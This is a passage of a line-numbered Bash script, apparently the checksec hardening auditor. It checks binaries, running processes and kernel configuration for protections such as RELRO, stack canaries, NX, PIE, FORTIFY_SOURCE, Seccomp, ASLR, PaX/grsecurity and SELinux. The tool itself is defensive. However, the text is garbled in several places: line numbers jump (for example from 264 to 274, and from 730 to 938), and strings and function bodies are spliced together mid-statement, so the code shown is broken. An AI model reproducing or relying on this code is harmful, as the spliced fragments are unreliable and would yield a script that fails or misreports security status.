root_privs" 218 | if [[ $(/usr/bin/id -u) -eq 0 ]] ; then 219 | return 0 220 | else 221 | return 1 222 | fi 223 | } 224 | 225 | # check if input is numeric 226 | isNumeric () { 227 | $debug && echo "***function isNumeric" 228 | echo "$@" | grep -q -v "[^0-9]" 229 | } 230 | 231 | # check if input is a string 232 | isString () { 233 | $debug && echo "***function isString" 234 | echo "$@" | grep -q -v "[^ A-Z_a-z]" 235 | } 236 | 237 | FS_count() { 238 | $debug && echo "***function FS_Count" 239 | for ((FS_elem_libc=0; FS_elem_libc<${#FS_chk_func_libc[@]}; FS_elem_libc++)) 240 | do 241 | for ((FS_elem_functions=0; FS_elem_functions<${#FS_functions[@]}; FS_elem_functions++)) 242 | do 243 | FS_tmp_func=${FS_functions[$FS_elem_functions]} 244 | FS_tmp_libc=${FS_chk_func_libc[$FS_elem_libc]} 245 | 246 | if [[ $FS_tmp_func =~ ^$FS_tmp_libc$ ]] ; then 247 | (( FS_cnt_total++ )) 248 | (( FS_cnt_unchecked++ )) 249 | elif [[ $FS_tmp_func =~ ^$FS_tmp_libc(_chk) ]] ; then 250 | (( FS_cnt_total++ )) 251 | (( FS_cnt_checked++ )) 252 | fi 253 | done 254 | done 255 | } 256 | 257 | # check file(s) 258 | filecheck() { 259 | $debug && echo "***function filecheck" 260 | # check for RELRO support 261 | $debug && echo "***function filecheck->RELRO" 262 | if $readelf -l "$1" 2>/dev/null | grep -q 'GNU_RELRO'; then 263 | if $readelf -d "$1" 2>/dev/null | grep -q 'BIND_NOW'; then 264 | echo_message '\033[32mFull RELRO \033[m ' 'Full RELRO,' 'canary" 274 | if $readelf -s "$1" 2>/dev/null | grep -q '__stack_chk_fail'; then 275 | echo_message '\033[32mCanary found \033[m ' 'Canary found,' ' canary="yes"' '"canary":"yes",' 276 | else 277 | echo_message '\033[31mNo canary found\033[m ' 'No Canary found,' ' canary="no"' '"canary":"no",' 278 | fi 279 | 280 | # check for NX support 281 | $debug && echo -e "\n***function filecheck->nx" 282 | if $readelf -W -l "$1" 2>/dev/null | grep 'GNU_STACK' | grep -q 'RWE'; then 283 | echo_message '\033[31mNX disabled\033[m ' 'NX disabled,' ' nx="no"' '"nx":"no",' 284 | else 285 | echo_message '\033[32mNX enabled \033[m ' 'NX enabled,' ' nx="yes"' '"nx":"yes",' 286 | fi 287 | 288 | # check for PIE support 289 | $debug && echo -e "\n***function filecheck->pie" 290 | if $readelf -h "$1" 2>/dev/null | grep -q 'Type:[[:space:]]*EXEC'; then 291 | echo_message '\033[31mNo PIE \033[m ' 'No PIE,' ' pie="no"' '"pie":"no",' 292 | elif $readelf -h "$1" 2>/dev/null | grep -q 'Type:[[:space:]]*DYN'; then 293 | if $readelf -d "$1" 2>/dev/null | grep -q 'DEBUG'; then 294 | echo_message '\033[32mPIE enabled \033[m ' 'PIE enabled,' ' pie="yes"' '"pie":"yes",' 295 | else 296 | echo_message '\033[33mDSO \033[m ' 'DSO,' ' pie="dso"' '"pie":"dso",' 297 | fi 298 | else 299 | echo_message '\033[33mNot an ELF file\033[m ' 'Not an ELF file,' ' pie="not_elf"' '"pie":"not_elf",' 300 | fi 301 | 302 | # check for rpath / run path 303 | $debug && echo -e "\n***function filecheck->rpath" 304 | if $readelf -d "$1" 2>/dev/null | grep -q 'rpath'; then 305 | echo_message '\033[31mRPATH \033[m ' 'RPATH,' ' rpath="yes"' '"rpath":"yes",' 306 | else 307 | echo_message '\033[32mNo RPATH \033[m ' 'No RPATH,' ' rpath="no"' '"rpath":"no",' 308 | fi 309 | 310 | $debug && echo -e "\n***function filecheck->runpath" 311 | if $readelf -d "$1" 2>/dev/null | grep -q 'runpath'; then 312 | echo_message '\033[31mRUNPATH \033[m ' 'RUNPATH,' ' runpath="yes"' '"runpath":"yes",' 313 | else 314 | echo_message '\033[32mNo RUNPATH \033[m ' 'No RUNPATH,' ' runpath="no"' '"runpath":"no",' 315 | fi 316 | 317 | # check for FORTIFY SOURCE 318 | $debug && echo "***function filecheck->fortify" 319 | if [[ -e /lib/libc.so.6 ]] ; then 320 | FS_libc=/lib/libc.so.6 321 | elif [[ -e /lib/libc.so ]] ; then 322 | FS_libc=/lib/libc.so 323 | elif [[ -e /lib64/libc.so.6 ]] ; then 324 | FS_libc=/lib64/libc.so.6 325 | elif [[ -e /lib/i386-linux-gnu/libc.so.6 ]] ; then 326 | FS_libc=/lib/i386-linux-gnu/libc.so.6 327 | elif [[ -e /lib/x86_64-linux-gnu/libc.so.6 ]] ; then 328 | FS_libc=/lib/x86_64-linux-gnu/libc.so.6 329 | else 330 | printf "\033[31mError: libc not found.\033[m\n\n" 331 | exit 1 332 | fi 333 | 334 | 335 | FS_cnt_checked=0 336 | FS_cnt_total=0 337 | FS_chk_func_libc=( $($readelf -s $FS_libc | grep _chk@@ | awk '{ print $8 }' | cut -c 3- | sed -e 's/_chk@.*//') ) 338 | FS_functions=( $($readelf -s "$1" | awk '{ print $8 }' | sed 's/_*//' | sed -e 's/@.*//') ) 339 | FS_count 340 | 341 | for ((FS_elem_functions=0; FS_elem_functions<${#FS_functions[@]}; FS_elem_functions++)) 342 | do 343 | if [[ ${FS_functions[$FS_elem_functions]} =~ _chk ]] ; then 344 | echo_message '\033[32mYes\033[m' 'Yes,' ' fortify_source="yes" ' '"fortify_source":"yes",' 345 | echo_message "\t$FS_cnt_checked\t" ${FS_cnt_checked}, "fortified=\"$FS_cnt_checked\" " "\"fortified\":\"${FS_cnt_checked}\"," 346 | echo_message "\t${FS_cnt_total}\t" ${FS_cnt_total} "fortify-able=\"$FS_cnt_total\"" "\"fortify-able\":\"$FS_cnt_total\"" 347 | return 348 | fi 349 | done 350 | echo_message "\033[31mNo\033[m" "No," ' fortify_source="no" ' '"fortify_source":"no",' 351 | echo_message "\t$FS_cnt_checked\t" ${FS_cnt_checked}, "fortified=\"$FS_cnt_checked\" " "\"fortified\":\"${FS_cnt_checked}\"," 352 | echo_message "\t${FS_cnt_total}\t" ${FS_cnt_total} "fortify-able=\"$FS_cnt_total\"" "\"fortify-able\":\"$FS_cnt_total\"" 353 | } 354 | 355 | # check process(es) 356 | proccheck() { 357 | $debug && echo -e "\n***function proccheck" 358 | # check for RELRO support 359 | $debug && echo "***function proccheck->RELRO" 360 | if $readelf -l "$1/exe" 2>/dev/null | grep -q 'Program Headers'; then 361 | if $readelf -l "$1/exe" 2>/dev/null | grep -q 'GNU_RELRO'; then 362 | if $readelf -d "$1/exe" 2>/dev/null | grep -q 'BIND_NOW'; then 363 | echo_message '\033[32mFull RELRO \033[m ' 'Full RELRO,' ' relro="full"' '"relro":"full",' 364 | else 365 | echo_message '\033[33mPartial RELRO\033[m ' 'Partial RELRO,' ' relro="partial"' '"relro":"partial",' 366 | fi 367 | else 368 | echo_message '\033[31mNo RELRO \033[m ' 'No RELRO,' ' relro="no"' '"relro":"no",' 369 | fi 370 | else 371 | echo -n -e '\033[31mPermission denied (please run as root)\033[m\n' 372 | exit 1 373 | fi 374 | 375 | # check for stack canary support 376 | $debug && echo -e "\n***function proccheck->canary" 377 | if $readelf -s "$1/exe" 2>/dev/null | grep -q 'Symbol table'; then 378 | if $readelf -s "$1/exe" 2>/dev/null | grep -q '__stack_chk_fail'; then 379 | echo_message '\033[32mCanary found \033[m ' 'Canary found,' ' canary="yes"' '"canary":"yes",' 380 | else 381 | echo_message '\033[31mNo canary found \033[m ' 'No Canary found,' ' canary="no"' '"canary":"no",' 382 | fi 383 | else 384 | if [[ "$1" == "1" ]] ; then 385 | echo -n -e '\033[33mPermission denied \033[m ' 386 | else 387 | echo -n -e '\033[33mNo symbol table found \033[m ' 388 | fi 389 | fi 390 | 391 | # check for Seccomp mode 392 | $debug && echo -e "\n***function proccheck->Seccomp" 393 | seccomp=$(grep 'Seccomp:' "$1/status" 2> /dev/null | cut -b10) 394 | if [[ "$seccomp" == "1" ]] ; then 395 | echo_message '\033[32mSeccomp strict\033[m ' 'Seccomp strict,' ' seccomp="strict"' '"seccomp":"strict",' 396 | elif [[ "$seccomp" == "2" ]] ; then 397 | echo_message '\033[32mSeccomp-bpf \033[m ' 'Seccomp-bpf,' ' seccomp="bpf"' '"seccomp":"bpf",' 398 | else 399 | echo_message '\033[31mNo Seccomp \033[m ' 'No Seccomp,' ' seccomp="no"' '"seccomp":"no",' 400 | fi 401 | 402 | # first check for PaX support 403 | $debug && echo -e "\n***function proccheck->PAX" 404 | if grep -q 'PaX:' "$1/status" 2> /dev/null ; then 405 | pageexec=$(grep 'PaX:' "$1/status" 2> /dev/null | cut -b6) 406 | segmexec=$(grep 'PaX:' "$1/status" 2> /dev/null | cut -b10) 407 | mprotect=$(grep 'PaX:' "$1/status" 2> /dev/null | cut -b8) 408 | randmmap=$(grep 'PaX:' "$1/status" 2> /dev/null | cut -b9) 409 | if [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "M" && "$randmmap" = "R" ]] ; then 410 | echo_message '\033[32mPaX enabled\033[m ' 'Pax enabled,' ' pax="yes"' '"pax":"yes",' 411 | elif [[ "$pageexec" = "p" && "$segmexec" = "s" && "$randmmap" = "R" ]] ; then 412 | echo_message '\033[33mPaX ASLR only\033[m ' 'Pax ASLR only,' ' pax="aslr_only"' '"pax":"aslr_only",' 413 | elif [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "m" && "$randmmap" = "R" ]] ; then 414 | echo_message '\033[33mPaX mprot off \033[m' 'Pax mprot off,' ' pax="mprot_off"' '"pax":"mprot_off",' 415 | elif [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "M" && "$randmmap" = "r" ]] ; then 416 | echo_message '\033[33mPaX ASLR off\033[m ' 'Pax ASLR off,' ' pax="aslr_off"' '"pax":"aslr_off",' 417 | elif [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "m" && "$randmmap" = "r" ]] ; then 418 | echo_message '\033[33mPaX NX only\033[m ' 'Pax NX only,' ' pax="nx_only"' '"pax":"nx_only",' 419 | else 420 | echo_message '\033[31mPaX disabled\033[m ' 'Pax disabled,' ' pax="no"' '"pax":"no",' 421 | fi 422 | # fallback check for NX support 423 | $debug && echo -e "\n***function proccheck->NX" 424 | elif $readelf -W -l "$1/exe" 2>/dev/null | grep 'GNU_STACK' | grep -q 'RWE'; then 425 | echo_message '\033[31mNX disabled\033[m ' 'NX disabled,' ' nx="no"' '"nx":"no",' 426 | else 427 | echo_message '\033[32mNX enabled \033[m ' 'NX enabled,' ' pax="yes"' '"nx":"yes",' 428 | fi 429 | 430 | # check for PIE support 431 | $debug && echo -e "\n***function proccheck->PIE" 432 | if $readelf -h "$1/exe" 2>/dev/null | grep -q 'Type:[[:space:]]*EXEC'; then 433 | echo_message '\033[31mNo PIE \033[m ' 'No PIE,' ' pie="no"' '"pie":"no",' 434 | elif $readelf -h "$1/exe" 2>/dev/null | grep -q 'Type:[[:space:]]*DYN'; then 435 | if $readelf -d "$1/exe" 2>/dev/null | grep -q 'DEBUG'; then 436 | echo_message '\033[32mPIE enabled \033[m ' 'PIE enabled,' ' pie="yes"' '"pie":"yes",' 437 | else 438 | echo_message '\033[33mDynamic Shared Object\033[m ' 'Dynamic Shared Object,' ' pie="dso"' '"pie":"dso",' 439 | fi 440 | else 441 | echo_message '\033[33mNot an ELF file \033[m ' 'Not an ELF file,' ' pie="not_elf"' '"pie":"not_elf",' 442 | fi 443 | 444 | #check for forifty source support 445 | FS_functions=( $($readelf -s "$1/exe" | awk '{ print $8 }' | sed 's/_*//' | sed -e 's/@.*//') ) 446 | for ((FS_elem_functions=0; FS_elem_functions<${#FS_functions[@]}; FS_elem_functions++)) 447 | do 448 | if [[ ${FS_functions[$FS_elem_functions]} =~ _chk ]] ; then 449 | echo_message '\033[32mYes\033[m' 'Yes' " fortify_source='yes'>" '"fortify_source":"yes" }' 450 | return 451 | fi 452 | done 453 | echo_message "\033[31mNo\033[m" "No" " fortify_source='no'>" '"fortify_source":"no" }' 454 | } 455 | 456 | # check mapped libraries 457 | libcheck() { 458 | $debug && echo "***function libcheck" 459 | libs=( $(awk '{ print $6 }' "/proc/$1/maps" | grep '/' | sort -u | xargs file | grep ELF | awk '{ print $1 }' | sed 's/:/ /') ) 460 | 461 | echo_message "\n* Loaded libraries (file information, # of mapped files: ${#libs[@]}):\n\n" "" "" "" 462 | 463 | for ((element=0; element<${#libs[@]}; element++)) 464 | do 465 | echo_message " ${libs[$element]}:\n" "${libs[$element]}," "" "" 466 | echo_message " " "" " " "" 467 | filecheck "${libs[$element]}" 468 | echo_message "\n\n" "\n" " filename='${libs[$element]}' />\n" "\"filename\"=\"${libs[$element]}\"" 469 | done 470 | } 471 | 472 | # check for system-wide ASLR support 473 | aslrcheck() { 474 | $debug && echo "***function aslrcheck" 475 | # PaX ASLR support 476 | $debug && echo -e "\n***function aslrcheck->PAX ASLR" 477 | if ! (grep -q 'Name:' /proc/1/status 2> /dev/null) ; then 478 | echo_message '\033[33m insufficient privileges for PaX ASLR checks\033[m\n' '' '' '' 479 | echo_message ' Fallback to standard Linux ASLR check' '' '' '' 480 | fi 481 | 482 | if grep -q 'PaX:' /proc/1/status 2> /dev/null; then 483 | if grep -q 'PaX:' /proc/1/status 2> /dev/null | grep -q 'R'; then 484 | echo_message '\033[32mPaX ASLR enabled\033[m\n\n' '' '' '' 485 | else 486 | echo_message '\033[31mPaX ASLR disabled\033[m\n\n' '' '' '' 487 | fi 488 | else 489 | $debug && echo -e "\n***function aslrcheck->randomize_va_space" 490 | # standard Linux 'kernel.randomize_va_space' ASLR support 491 | # (see the kernel file 'Documentation/sysctl/kernel.txt' for a detailed description) 492 | echo_message " (kernel.randomize_va_space): " '' '' '' 493 | if sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 1'; then 494 | echo_message '\033[33mPartial (Setting: 1)\033[m\n\n' '' '' '' 495 | echo_message " Description - Make the addresses of mmap base, stack and VDSO page randomized.\n" '' '' '' 496 | echo_message " This, among other things, implies that shared libraries will be loaded to \n" '' '' '' 497 | echo_message " random addresses. Also for PIE-linked binaries, the location of code start\n" '' '' '' 498 | echo_message " is randomized. Heap addresses are *not* randomized.\n\n" '' '' '' 499 | elif sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 2'; then 500 | echo_message '\033[32mFull (Setting: 2)\033[m\n\n' '' '' '' 501 | echo_message " Description - Make the addresses of mmap base, heap, stack and VDSO page randomized.\n" '' '' '' 502 | echo_message " This, among other things, implies that shared libraries will be loaded to random \n" '' '' '' 503 | echo_message " addresses. Also for PIE-linked binaries, the location of code start is randomized.\n\n" '' '' '' 504 | elif sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 0'; then 505 | echo_message '\033[31mNone (Setting: 0)\033[m\n' '' '' '' 506 | else 507 | echo_message '\033[31mNot supported\033[m\n' '' '' '' 508 | fi 509 | echo_message " See the kernel file 'Documentation/sysctl/kernel.txt' for more details.\n\n" '' '' '' 510 | fi 511 | } 512 | 513 | # check cpu nx flag 514 | nxcheck() { 515 | $debug && echo -e "\n***function nxcheck" 516 | if grep -q nx /proc/cpuinfo; then 517 | echo_message '\033[32mYes\033[m\n\n' '' '' '' 518 | else 519 | echo_message '\033[31mNo\033[m\n\n' '' '' '' 520 | fi 521 | } 522 | 523 | # check for kernel protection mechanisms 524 | kernelcheck() { 525 | $debug && echo "***function kernelcheck" 526 | echo_message " Description - List the status of kernel protection mechanisms. Rather than\n" '' '' '' 527 | echo_message " inspect kernel mechanisms that may aid in the prevention of exploitation of\n" '' '' '' 528 | echo_message " userspace processes, this option lists the status of kernel configuration\n" '' '' '' 529 | echo_message " options that harden the kernel itself against attack.\n\n" '' '' '' 530 | echo_message " Kernel config:\n" '' '' '{ "kernel": ' 531 | 532 | if [[ ! "$1" == "" ]] ; then 533 | kconfig="cat $1" 534 | echo_message " Warning: The config $1 on disk may not represent running kernel config!\n\n" "$1" "" '{ "KernelConfig":"not_found",' 549 | exit 0 550 | fi 551 | $debug && $kconfig | grep "CONFIG_GRKERNSEC" 552 | $debug && $kconfig | grep "CONFIG_PAX" 553 | 554 | echo_message " Vanilla Kernel ASLR: " "" "" "" 555 | randomize_va=$(sysctl -b -e kernel.randomize_va_space) 556 | if [[ "x$randomize_va" == "x2" ]]; then 557 | echo_message "\033[32mFull\033[m\n" "Full," " randomize_va_space='full'" '"randomize_va_space":"full",' 558 | elif [[ "x$randomize_va" == "x1" ]]; then 559 | echo_message "\033[33mPartial\033[m\n" "Partial," " randomize_va_space='partial'" '"randomize_va_space":"partial",' 560 | else 561 | echo_message "\033[31mNone\033[m\n" "None," " randomize_va_space='none'" '"randomize_va_space":"none",' 562 | fi 563 | 564 | echo_message " Protected symlinks: " "" "" "" 565 | symlink=$(sysctl -b -e fs.protected_symlinks) 566 | if [[ "x$symlink" == "x1" ]]; then 567 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " protect_symlinks='yes'" '"protect_symlinks":"yes",' 568 | else 569 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " protect_symlinks='no'" '"protect_symlinks":"no",' 570 | fi 571 | 572 | echo_message " Protected hardlinks: " "" "" "" 573 | hardlink=$(sysctl -b -e fs.protected_hardlinks) 574 | if [[ "x$hardlink" == "x1" ]]; then 575 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " protect_hardlinks='yes'" '"protect_hardlinks":"yes",' 576 | else 577 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " protect_hardlinks='no'" '"protect_hardlinks":"no",' 578 | fi 579 | 580 | echo_message " Ipv4 reverse path filtering: " "" "" "" 581 | ipv4_rpath=$(sysctl -b -e net.ipv4.conf.all.rp_filter) 582 | if [[ "x$ipv4_rpath" == "x1" ]]; then 583 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " ipv4_rpath='yes'" '"ipv4_rpath":"yes",' 584 | else 585 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " ipv4_rpath='no'" '"ipv4_rpath":"no",' 586 | fi 587 | 588 | echo_message " Ipv6 reverse path filtering: " "" "" "" 589 | ipv6_rpath=$(sysctl -b -e net.ipv6.conf.all.rp_filter) 590 | if [[ "x$ipv6_rpath" == "x1" ]]; then 591 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " ipv6_rpath='yes'" '"ipv6_rpath":"yes",' 592 | else 593 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " ipv6_rpath='no'" '"ipv6_rpath":"no",' 594 | fi 595 | 596 | echo_message " Kernel heap randomization: " "" "" "" 597 | # NOTE: y means it turns off kernel heap randomization for backwards compatability (libc5) 598 | if $kconfig | grep -qi 'CONFIG_COMPAT_BRK=y'; then 599 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " kernel_heap_randomization='no'" '"kernel_heap_randomization":"no",' 600 | else 601 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " kernel_heap_randomization='yes'" '"kernel_heap_randomization":"yes",' 602 | fi 603 | 604 | echo_message " GCC stack protector support: " "" "" "" 605 | if $kconfig | grep -qi 'CONFIG_CC_STACKPROTECTOR=y'; then 606 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " gcc_stack_protector='yes'" '"gcc_stack_protector":"yes",' 607 | else 608 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " gcc_stack_protector='no'" '"gcc_stack_protector":"no",' 609 | fi 610 | 611 | if ! $kconfig | grep -qi 'CONFIG_PAX'; then 612 | echo_message " Enforce read-only kernel data: " "" "" "" 613 | if $kconfig | grep -qi 'CONFIG_DEBUG_RODATA=y\|CONFIG_STRICT_KERNEL_RWX=y'; then 614 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " ro_kernel_data='yes'" '"ro_kernel_data":"yes",' 615 | echo_message " Enforce read-only module data: " "" "" "" 616 | if $kconfig | grep -qi 'CONFIG_STRICT_MODULE_RWX=y'; then 617 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " ro_module_data='yes'" '"ro_module_data":"yes",' 618 | else 619 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " ro_module_data='no'" '"ro_module_data":"no",' 620 | fi 621 | else 622 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " ro_kernel_data='no'" '"ro_kernel_data":"no",' 623 | fi 624 | fi 625 | 626 | echo_message " Hardened Usercopy: " "" "" "" 627 | if $kconfig | grep -qi 'CONFIG_HARDENED_USERCOPY=y'; then 628 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " hardened_usercopy='yes'" '"hardened_usercopy":"yes",' 629 | echo_message " Hardened Usercopy Pagespan: " "" "" "" 630 | if $kconfig | grep -qi 'CONFIG_HARDENED_USERCOPY_PAGESPAN=y'; then 631 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " hardened_usercopy_pagespan='yes'" '"hardened_usercopy_pagespan":"yes",' 632 | else 633 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " hardened_usercopy_pagespan='no'" '"hardened_usercopy_pagespan":"no",' 634 | fi 635 | else 636 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " hardened_usercopy='no'" '"hardened_usercopy":"no",' 637 | fi 638 | echo_message " Restrict /dev/mem access: " "" "" "" 639 | if $kconfig | grep -qi 'CONFIG_STRICT_DEVMEM=y'; then 640 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " restrict_dev_mem_access='yes'" '"restrict_dev_mem_access":"yes",' 641 | else 642 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " restrict_dev_mem_access='no'" '"restrict_dev_mem_access":"no",' 643 | fi 644 | 645 | echo_message " Restrict /dev/kmem access: " "" "" "" 646 | if $kconfig | grep -qi 'CONFIG_DEVKMEM=y'; then 647 | echo_message "\033[31mDisabled\033[m\n" "Disabled" " restrict_dev_kmem_access='no'" '"restrict_dev_kmem_access":"no" },' 648 | else 649 | echo_message "\033[32mEnabled\033[m\n" "Enabled" " restrict_dev_kmem_access='yes'" '"restrict_dev_kmem_access":"yes" },' 650 | fi 651 | 652 | #x86 only 653 | if [[ "$arch" == "32" ]] || [[ "$arch" == "64" ]]; then 654 | echo_message "\n" "\n" "" "" 655 | echo_message "* X86 only: \n" "" "" "" 656 | 657 | if ! $kconfig | grep -qi 'CONFIG_PAX_SIZE_OVERFLOW=y'; then 658 | if $kconfig | grep -qi 'CONFIG_DEBUG_STRICT_USER_COPY_CHECKS'; then 659 | echo_message " Strict user copy checks: " "" "" "" 660 | if $kconfig | grep -qi 'CONFIG_DEBUG_STRICT_USER_COPY_CHECKS=y'; then 661 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " strict_user_copy_check='yes'" '"strict_user_copy_check":"yes",' 662 | else 663 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " strict_user_copy_check='no'" '"strict_user_copy_check":"no",' 664 | fi 665 | fi 666 | fi 667 | 668 | echo_message " Address space layout randomization: " "" "" "" 669 | if $kconfig | grep -qi 'CONFIG_RANDOMIZE_BASE=y\|CONFIG_PAX_ASLR=y'; then 670 | echo_message "\033[32mEnabled\033[m\n" "Enabled" " random_address_space_layout='yes'>" '"random_address_space_layout":"yes" },' 671 | else 672 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " random_address_space_layout='no'>" '"random_address_space_layout":"no",' 673 | fi 674 | fi 675 | 676 | #ARM only 677 | if [[ "$arch" == "arm" ]]; then 678 | echo_message "\n" "\n" "\n" "" 679 | echo_message "* ARM only: \n" "" "" "" 680 | 681 | echo_message " Restrict kernel memory permissions: " "" "" "" 682 | if $kconfig | grep -qi 'CONFIG_ARM_KERNMEM_PERMS=y'; then 683 | echo_message "\033[32mEnabled\033[m\n" "Enabled" " arm_kernmem_perms='yes'>" '"arm_kernmem_perms":"yes" },' 684 | else 685 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " arm_kernmem_perms='no'>" '"arm_kernmem_perms":"no",' 686 | fi 687 | fi 688 | 689 | echo_message "\n" "\n" "\n" "" 690 | echo_message "* SELinux: " "" "" "" 691 | if $kconfig | grep -qi 'CONFIG_SECURITY_SELINUX=y'; then 692 | getsestatus 693 | sestatus=$? 694 | if [[ $sestatus == 0 ]]; then 695 | echo_message "\033[31mDisabled\033[m\n" "Disabled,," " \n" " }," 726 | echo_message "* grsecurity / PaX: " "" "" "" 727 | 728 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC=y'; then 729 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC_HIGH=y'; then 730 | echo_message "\033[32mHigh GRKERNSEC\033[m\n\n" "High GRKERNSEC," " /dev/null || echo $?) 938 | if [[ "x$grcheck" != "x255" ]] && [[ "x$grcheck" != "x0" ]]; then 939 | echo_message "\033[32mEnabled\033[m\n" "Enabled," " grsec_sysctl_$command='yes'" "\"grsec_sysctl_$command\":\"yes\"" 940 | else 941 | echo_message "\033[31mDisabled\033[m\n" "Disabled," " grsec_sysctl_$command='no'" "\"grsec_sysctl_$command\":\"no\"" 942 | fi 943 | if [[ "$command" == "tpe_restrict_all" ]]; then 944 | echo_message "" "" "" " } }" 945 | else 946 | echo_message "" "" "" "," 947 | fi 948 | done 949 | echo_message "" "" " />\n\n" "" 950 | fi 951 | else 952 | echo_message "\033[31mNo GRKERNSEC\033[m\n\n" "No GRKERNSEC,,,,,,,," " \n\n" '"grsecurity": { "grsecurity_config":"no" } }' 953 | echo_message " The grsecurity / PaX patchset is available here:\n" "" "" "" 954 | echo_message " http://grsecurity.net/\n" "" "" "" 955 | fi 956 | } 957 | 958 | # --- FORTIFY_SOURCE subfunctions (start) --- 959 | # is FORTIFY_SOURCE supported by libc? 960 | FS_libc_check() { 961 | $debug && echo "***function FS_libc_check" 962 | echo_message "* FORTIFY_SOURCE support available (libc) : " "" "" 963 | 964 | if [[ "${#FS_chk_func_libc[@]}" != "0" ]] ; then 965 | echo_message "\033[32mYes\033[m\n" "Yes," " libc_fortify_source='yes' " '"libc_fortify_source":"yes",' 966 | else 967 | echo_message "\033[31mNo\033[m\n" "No," " libc_fortify_source='no' " '"libc_fortify_source":"no",' 968 | exit 1 969 | fi 970 | } 971 | 972 | # was the binary compiled with FORTIFY_SOURCE? 973 | FS_binary_check() { 974 | $debug && echo "***function FS_binary_check" 975 | echo_message "* Binary compiled with FORTIFY_SOURCE support: " "" "" "" 976 | 977 | for ((FS_elem_functions=0; FS_elem_functions<${#FS_functions[@]}; FS_elem_functions++)) 978 | do 979 | if [[ ${FS_functions[$FS_elem_functions]} =~ _chk ]] ; then 980 | echo_message "\033[32mYes\033[m\n" "Yes\n" " binary_compiled_with_fortify='yes'>\n" '"binary_compiled_with_fortify":"yes",' 981 | return 982 | fi 983 | done 984 | echo_message "\033[31mNo\033[m\n" "No\n" " binary_compiled_with_fortify='no'>\n" '"binary_compiled_with_fortify":"no",' 985 | exit 1 986 | } 987 | 988 | FS_comparison() { 989 | $debug && echo "***function FS_comparison" 990 | echo_message "\n" "" "" 991 | echo_message " ------ EXECUTABLE-FILE ------- . -------- LIBC --------\n" "" "" "" 992 | echo_message " Fortifiable library functions | Checked function names\n" "" "" "" 993 | echo_message " -------------------------------------------------------\n" "" "" "" 994 | 995 | $debug && echo -e "\n***function FS_comparison->FS_elem_libc" 996 | for ((FS_elem_libc=0; FS_elem_libc<${#FS_chk_func_libc[@]}; FS_elem_libc++)) 997 | do 998 | $debug && echo -e "\n***function FS_comparison->FS_elem_libc->FS_elem_functions" 999 | for ((FS_elem_functions=0; FS_elem_functions<${#FS_functions[@]}; FS_elem_functions++)) 1000 | do 1001 | FS_tmp_func=${FS_functions[$FS_elem_functions]} 1002 | FS_tmp_libc=${FS_chk_func_libc[$FS_elem_libc]} 1003 | 1004 | if [[ $FS_tmp_func =~ ^$FS_tmp_libc$ ]] ; then 1005 | if [[ $format == "cli" ]]; then 1006 | printf " \033[31m%-30s\033[m | __%s%s\n" $FS_tmp_func $FS_tmp_libc $FS_end 1007 | else 1008 | if [[ $FS_elem_functions == 0 ]]; then 1009 | echo_message "" "$FS_tmp_func,$FS_tmp_libc,yes\n" " \n" "\"function\": { \"name\":\"$FS_tmp_func\", \"libc\":\"$FS_tmp_libc\", \"fortifiable\":\"yes\" }," 1010 | elif [[ $FS_elem_functions == $((${#FS_functions[@]} - 1 )) ]]; then 1011 | echo_message "" "$FS_tmp_func,$FS_tmp_libc,yes\n" " \n" "\"function\": { \"name\":\"$FS_tmp_func\", \"libc\":\"$FS_tmp_libc\", \"fortifiable\":\"yes\" }," 1012 | else 1013 | echo_message "" "$FS_tmp_func,$FS_tmp_libc,yes\n" " \n" "\"function\": { \"name\":\"$FS_tmp_func\", \"libc\":\"$FS_tmp_libc\", \"fortifiable\":\"yes\" }," 1014 | fi 1015 | fi 1016 | (( FS_cnt_total++ )) 1017 | (( FS_cnt_unchecked++ )) 1018 | elif [[ $FS_tmp_func =~ ^$FS_tmp_libc(_chk) ]] ; then 1019 | if [[ $format == "cli" ]]; then 1020 | printf " \033[32m%-30s\033[m | __%s%s\n" $FS_tmp_func $FS_tmp_libc $FS_end 1021 | else 1022 | if [[ $FS_elem_functions == 0 ]]; then 1023 | echo_message "" "$FS_tmp_func,$FS_tmp_libc,no\n" " \n" "\"function\": { \"name\":\"$FS_tmp_func\", \"libc\":\"$FS_tmp_libc\", \"fortifiable\":\"no\" }," 1024 | elif [[ $FS_elem_functions == $((${#FS_functions[@]} - 1 )) ]]; then 1025 | echo_message "" "$FS_tmp_func,$FS_tmp_libc,no\n" " \n" "\"function\": { \"name\":\"$FS_tmp_func\", \"libc\":\"$FS_tmp_libc\", \"fortifiable\":\"no\" }," 1026 | else 1027 | echo_message "" "$FS_tmp_func,$FS_tmp_libc,no\n" " \n" "\"function\": { \"name\":\"$FS_tmp_func\", 